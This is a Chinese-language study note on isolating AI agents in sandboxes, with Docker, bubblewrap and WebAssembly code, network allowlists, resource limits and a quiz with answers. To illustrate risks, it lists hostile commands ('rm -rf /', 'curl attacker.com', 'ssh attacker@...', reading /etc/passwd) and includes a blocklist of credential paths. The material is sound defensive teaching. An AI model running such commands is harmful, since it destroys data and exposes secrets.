安全沙箱 - Agent 的安全边界 / Secure Sandboxes as Agent Safety Boundaries
📅 创建时间:2026-05-08 🏷️ 标签:#Sandbox #Docker #安全隔离 #进程隔离 #WebAssembly 📚 前置知识:[[01-function-calling]]
📋 本章目标
- 理解为什么 Agent 需要沙箱
- 掌握沙箱的多种实现方式及 trade-off
- 理解文件系统、网络、进程三个维度的隔离
- 掌握沙箱在生产环境中的应用
- 理解沙箱与性能的权衡
第1部分:为什么 Agent 需要沙箱?
1.1 无沙箱 Agent 的风险
┌─────────────────────────────────────────────────────────────┐
│ 给 Agent bash 权限 = 什么概念? │
├─────────────────────────────────────────────────────────────┤
│ │
│ 如果 Agent 能执行任意 bash 命令: │
│ │
│ 它可能会: │
│ ❌ rm -rf / → 清空整个系统 │
│ ❌ curl attacker.com → 下载恶意脚本 │
│ ❌ cat /etc/passwd → 读取敏感配置 │
│ ❌ ssh attacker@... → 建立后门连接 │
│ ❌ 格式化磁盘 → 销毁数据 │
│ ❌ 修改 crontab → 植入持久化后门 │
│ │
│ 甚至不是"恶意"的 Agent: │
│ • 开发者让 Agent 清理日志 → Agent 跑了 sudo rm -rf / │
│ • Agent 搜索文件时用了错误的 glob 模式 → 删了不该删的 │
│ │
└─────────────────────────────────────────────────────────────┘1.2 沙箱的本质
沙箱 = 给 Agent 的能力加装"护栏"
┌─────────────────────────────────────────────────────────────┐
│ 沙箱的三层隔离 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 文件系统隔离 │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Agent 只能看到 / 读写它被允许的目录 │ │
│ │ /workspace/ ← Agent 的"整个世界" │ │
│ │ /home/user/.ssh/ ← 永远不可见 │ │
│ │ /etc/shadow ← 永远不可见 │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
│ 网络隔离 │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Agent 只能访问白名单域名/IP │ │
│ │ 允许:api.github.com, 公司内部服务 │ │
│ │ 禁止:attacker.com, 挖矿服务器 │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
│ 进程/权限隔离 │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Agent 执行的命令以受限用户身份运行 │ │
│ │ 没有 sudo 权限 │ │
│ │ 无法访问其他用户进程 │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘第2部分:沙箱实现方案
2.1 方案对比
┌─────────────────────────────────────────────────────────────┐
│ 沙箱方案横向对比 │
├─────────────────────────────────────────────────────────────┤
│ │
│ │ 方案 │ 隔离强度 │ 性能 │ 复杂度 │ 适用场景 │
│ ├───────────────┼──────────┼────────┼────────┼──────────┤
│ │ Docker │ 强 │ 较低 │ 中 │ 生产环境 │
│ │ bwrap (Bubblewrap)│ 强 │ 高 │ 中 │ Linux 生产│
│ │ gVisor │ 很强 │ 中 │ 高 │ 高安全场景│
│ │ WebAssembly │ 强 │ 高 │ 高 │ 轻量执行 │
│ │ seccomp + AppArmor │ 中 │ 很高 │ 高 │ 深度定制 │
│ │ 进程/目录限制 │ 弱 │ 很高 │ 低 │ 快速原型 │
│ │
└─────────────────────────────────────────────────────────────┘2.2 Docker 沙箱
最常用、功能最全的沙箱方案
python
import docker
client = docker.from_env()
def run_in_sandbox(command: str, allowed_dirs: list[str]) -> str:
"""在 Docker 容器中执行命令"""
volumes = {
os.path.abspath(d): {'bind': d, 'mode': 'rw'}
for d in allowed_dirs
}
try:
container = client.containers.run(
image="sandbox-python:latest",
command=f"bash -c {command}",
volumes=volumes,
mem_limit="512m", # 内存限制
cpu_period=100000,
cpu_quota=50000, # 最多用 50% CPU
pids_limit=50, # 最多 50 个进程
network_mode="restricted", # 受限网络
read_only=True, # 根文件系统只读
tmpfs={"/tmp": "size=100m,noexec"},
user="agent", # 非 root 用户
remove=True,
stderr=True,
stdout=True
)
return container.decode()
except docker.errors.ContainerError as e:
return f"执行被拒绝:{e}"受限网络配置(只允许白名单域名)
python
# 创建自定义网络 + DNS 过滤
network = client.networks.create(
name="agent-network",
driver="bridge",
ipam=docker.types.IPAMConfig(
driver="default",
pool_configs=[docker.types.Subnet(
subnet="172.20.0.0/16"
)]
)
)
# 添加 DNS 过滤(通过 --dns 参数)
container = client.containers.run(
image="sandbox-python:latest",
dns=["8.8.8.8"], # 只允许这个 DNS
dns_search=["allowed-domain.com"],
extra_hosts={
"api.github.com": "140.82.121.6",
"company.internal": "192.168.1.100"
},
network_mode="agent-network"
)2.3 Bubblewrap(bwrap)
Linux 原生沙箱,比 Docker 更轻量
安装:apt install bubblewrap 或 pacman -S bubblewrap
特点:
• 不需要 Docker daemon,零依赖
• 直接用 namespace 隔离
• 启动速度比 Docker 快 100 倍
• 适合长期运行的 Agent 进程python
import subprocess
def create_bwrap_sandbox():
"""构建 bwrap 命令"""
cmd = [
"bwrap",
# 文件系统隔离
"--ro-bind", "/usr", "/usr",
"--ro-bind", "/lib", "/lib",
"--ro-bind", "/bin", "/bin",
"--tmpfs", "/tmp",
"--tmpfs", "/var/tmp",
# 工作目录(可写)
"--bind", "/workspace/agent", "/workspace",
"--chdir", "/workspace",
# 用户/权限
"--unshare-user",
"--unshare-pid",
"--unshare-uts",
"--uid-map", "1000:1000:1",
"--gid-map", "1000:1000:1",
# 网络限制
"--unshare-net", # 禁用网络
# 资源限制
"--rlimit-nproc", "50",
"--rlimit-fsize", "104857600", # 最大文件 100MB
"--rlimit-nofile", "100",
]
# 允许访问的公司域名(通过 /etc/hosts)
cmd.extend(["--bind", "/etc/hosts-allowed", "/etc/hosts"])
cmd.append("bash")
return cmd2.4 WebAssembly(Wasm)
最适合需要强隔离的代码执行
python
import subprocess
# 使用 WasmEdge 运行不受信任的代码
def run_wasm(code: str, input_data: str) -> str:
"""在 Wasm 沙箱中运行 Python/其他语言"""
# WasmEdge 的特点:
# • 内存安全(线性内存,无法溢出)
# • 沙箱网络访问
# • 文件系统沙箱
# • 比 Docker 快 10-100 倍启动
result = subprocess.run(
["wasmedge", "--dir", "/workspace:/workspace",
"--env", f"INPUT={input_data}",
"sandbox.wasm", "--code", code],
capture_output=True,
text=True,
timeout=10
)
return result.stdout2.5 OpenClaw 的沙箱设计
┌─────────────────────────────────────────────────────────────┐
│ OpenClaw 三档沙箱模式 │
├─────────────────────────────────────────────────────────────┤
│ │
│ sandbox: "off" │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ 工具直接在宿主机执行 │ │
│ │ 无任何隔离,高风险,仅开发调试用 │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
│ sandbox: "non-main" ← 推荐生产配置 │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ 非主会话在 Docker 中执行 │ │
│ │ 主会话(用户直接对话)仍在宿主机 │ │
│ │ 平衡了体验和安全性 │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
│ sandbox: "all" │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ 所有会话都在 Docker 中执行 │ │
│ │ 最高安全级别,但用户体验略受影响 │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘第3部分:文件系统沙箱
3.1 只允许访问工作目录
python
import subprocess
import os
def safe_bash(command: str, workspace: str = "/workspace/agent"):
"""安全的 bash 执行,只允许访问工作目录"""
# 防止路径逃逸
workspace = os.path.realpath(workspace)
# 构造受限环境
env = os.environ.copy()
env["HOME"] = workspace
env["PWD"] = workspace
result = subprocess.run(
["bash", "-c", command],
cwd=workspace,
env=env,
capture_output=True,
text=True,
timeout=30,
preexec_fn=os.setsid # 新的进程组
)
return result.stdout + result.stderr3.2 防止危险路径访问
python
import re
# 危险路径黑名单
DANGEROUS_PATHS = [
"/etc/passwd", "/etc/shadow", "/etc/sudoers",
"/root/.ssh", "/home/*/.ssh",
"/.git", "/.env", "/secrets",
"/proc", "/sys", "/dev"
]
def check_path_safety(path: str) -> bool:
"""检查路径是否安全"""
real_path = os.path.realpath(path)
for dangerous in DANGEROUS_PATHS:
if dangerous.endswith("*"):
# 通配符匹配
if real_path.startswith(dangerous[:-1]):
return False
elif real_path == dangerous or real_path.startswith(dangerous + "/"):
return False
return True
def safe_rm(file_path: str):
"""安全的删除操作"""
if not check_path_safety(file_path):
raise PermissionError(f"不允许删除:{file_path}")
workspace = "/workspace/agent"
real_workspace = os.path.realpath(workspace)
if not os.path.realpath(file_path).startswith(real_workspace):
raise PermissionError(f"路径不在工作区内:{file_path}")
os.remove(file_path)3.3 只读模式保护关键文件
python
# 在 Docker 中挂载关键目录为只读
container = client.containers.run(
image="sandbox:latest",
volumes={
"/workspace/agent": {"bind": "/workspace", "mode": "rw"},
"/etc/passwd": {"bind": "/etc/passwd", "mode": "ro"},
"/etc/hosts": {"bind": "/etc/hosts", "mode": "ro"},
"/usr/bin": {"bind": "/usr/bin", "mode": "ro"},
},
tmpfs={"/tmp": "size=100m,noexec,nosuid,nodev"}
)第4部分:网络沙箱
4.1 网络隔离策略
┌─────────────────────────────────────────────────────────────┐
│ 网络隔离策略 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 策略1:完全禁用网络 │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ --network none │ │
│ │ 适用于:不需要网络的 Agent 任务 │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
│ 策略2:白名单模式(推荐) │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ 只允许访问明确授权的域名/IP │ │
│ │ 适用场景:API 调用、数据库查询 │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
│ 策略3:出口代理 + 审计 │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ 所有出口流量经过代理,记录日志 │ │
│ │ 可以事后审计 Agent 访问了哪些地址 │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘4.2 出口代理配置
python
# 使用 Squid 或 MITMproxy 作为出口代理
import httpx
class AuditedHTTPClient:
"""带审计的 HTTP 客户端"""
def __init__(self, allowed_domains: list[str]):
self.allowed_domains = set(allowed_domains)
self.audit_log = []
def get(self, url: str, **kwargs):
from urllib.parse import urlparse
domain = urlparse(url).netloc
if domain not in self.allowed_domains:
raise PermissionError(f"域名 {domain} 不在白名单中")
# 记录审计日志
self.audit_log.append({
"url": url,
"timestamp": datetime.now().isoformat(),
"method": "GET"
})
response = httpx.get(url, **kwargs)
return response第5部分:进程与资源沙箱
5.1 进程数限制
┌─────────────────────────────────────────────────────────────┐
│ 进程隔离要点 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 限制进程数 │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ bwrap: --rlimit-nproc 50 │ │
│ │ Docker: pids_limit=50 │ │
│ │ 防止 Agent fork 炸弹 │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
│ 防止后台进程 │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ nohup、& 后台运行、screen/tmux 全部禁止 │ │
│ │ 可以检测命令中是否包含 & 或重定向到 /dev/null │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
│ 进程超时 │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ 长时间运行的进程需要超时限制 │ │
│ │ agent_pid = subprocess.Popen(cmd) │ │
│ │ try: │ │
│ │ result = agent_pid.wait(timeout=30) │ │
│ │ except TimeoutExpired: │ │
│ │ agent_pid.kill() │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘5.2 资源限制
python
# 使用 cgroups v2 限制资源
RESOURCE_LIMITS = {
"memory": "512m", # 最大内存
"memory-swap": "1g", # 最大内存+Swap
"cpu-shares": 512, # CPU 权重
"cpus": "0.5", # 最多用 0.5 个 CPU
"pids-limit": 50, # 最多 50 个进程
"io-weight": 100, # IO 权重
"fsize": "100m", # 最大单个文件大小
}
# 写入 cgroup 配置
import pathlib
def apply_cgroup_limits(pid: int, limits: dict):
"""为进程应用 cgroup 限制"""
cgroup_path = pathlib.Path(f"/sys/fs/cgroup/agent-{pid}")
cgroup_path.mkdir(exist_ok=True)
(cgroup_path / "cgroup.procs").write_text(str(pid))
for key, value in limits.items():
(cgroup_path / key).write_text(value)第6部分:沙箱与用户体验的权衡
6.1 沙箱粒度选择
┌─────────────────────────────────────────────────────────────┐
│ 沙箱策略决策树 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 问:Agent 需要访问真实文件系统吗? │
│ ↓ │
│ ├─ 否 → WebAssembly / 完全沙箱 │
│ ↓ │
│ 是 → 问:Agent 需要网络访问吗? │
│ ↓ │
│ ├─ 否 → 文件系统沙箱,禁用网络 │
│ ↓ │
│ 是 → 问:访问范围可控吗? │
│ ↓ │
│ ├─ 是 → Docker + 白名单网络 │
│ ↓ │
│ 否 → 需要更细粒度控制(seccomp + AppArmor) │
│ │
└─────────────────────────────────────────────────────────────┘6.2 渐进式沙箱策略
python
class TieredSandbox:
"""渐进式沙箱策略"""
SANDBOX_TIERS = {
"minimal": {
"network": False,
"filesystem": "/tmp",
"processes": 5,
"memory": "128m"
},
"standard": {
"network": True,
"allowed_domains": ["api.github.com"],
"filesystem": "/workspace",
"processes": 20,
"memory": "512m"
},
"relaxed": {
"network": True,
"filesystem": "/workspace:/workspace,/projects:/projects",
"processes": 50,
"memory": "2g"
}
}
def execute(self, command: str, tier: str = "standard"):
config = self.SANDBOX_TIERS[tier]
if not config["network"]:
# 完全禁用网络
pass
else:
# 配置白名单
pass
return self._run_in_docker(command, config)核心总结
总结1:沙箱三层隔离
文件系统:工作目录限制 + 只读挂载 + 危险路径黑名单
网络:禁用 or 白名单 or 出口代理审计
进程:用户限制 + 进程数限制 + 超时控制总结2:沙箱方案选择
| 场景 | 推荐方案 |
|---|---|
| 快速原型 | 进程限制 + 路径检查 |
| 生产环境(通用) | Docker |
| Linux 服务器(高性能) | Bubblewrap |
| 高安全 / 隔离需求 | gVisor |
| 轻量代码执行 | WebAssembly |
章节测试
测试1:风险识别
Agent 在有 bash 权限但无沙箱时,可能面临哪三类风险?
测试2:沙箱维度
沙箱隔离通常从哪三个维度进行?
测试3:Docker 沙箱
Docker 沙箱中,以下哪个配置可以限制 Agent 的内存使用? A. network_mode="restricted" B. mem_limit="512m" C. user="agent" D. read_only=True
测试4:路径逃逸
什么是"路径逃逸"?如何防止?
测试5:OpenClaw 沙箱
OpenClaw 的 "non-main" 沙箱模式是什么含义?
参考答案
测试1答案
答案:文件系统风险(删错文件)、网络安全风险(访问恶意地址/泄露数据)、进程风险(fork 炸弹/资源耗尽)。
测试2答案
答案:文件系统隔离、网络隔离、进程/权限隔离。
测试3答案
答案:B(mem_limit="512m")
解析:A 是网络模式,C 是用户身份,D 是文件系统只读。B 才是内存限制。
测试4答案
答案:路径逃逸指 Agent 通过相对路径(如 ../../../etc/passwd)或符号链接访问工作目录之外的文件。防止方法:os.path.realpath() 规范化路径 + 检查结果是否在工作目录内。
测试5答案
答案:非主会话(sub-agent 等)在 Docker 中隔离执行,主会话(用户直接对话)仍在宿主机运行。在安全性和用户体验之间取得平衡。
相关笔记
- [[01-function-calling]] - 工具调用的安全基础
- [[10-权限与门卫]] - 权限系统与沙箱的配合
- [[11-API密钥管理与安全]] - 沙箱中如何安全处理密钥
下一步学习
- [ ] 阅读 19 - 权限与门卫
学习状态:🟡 开始学习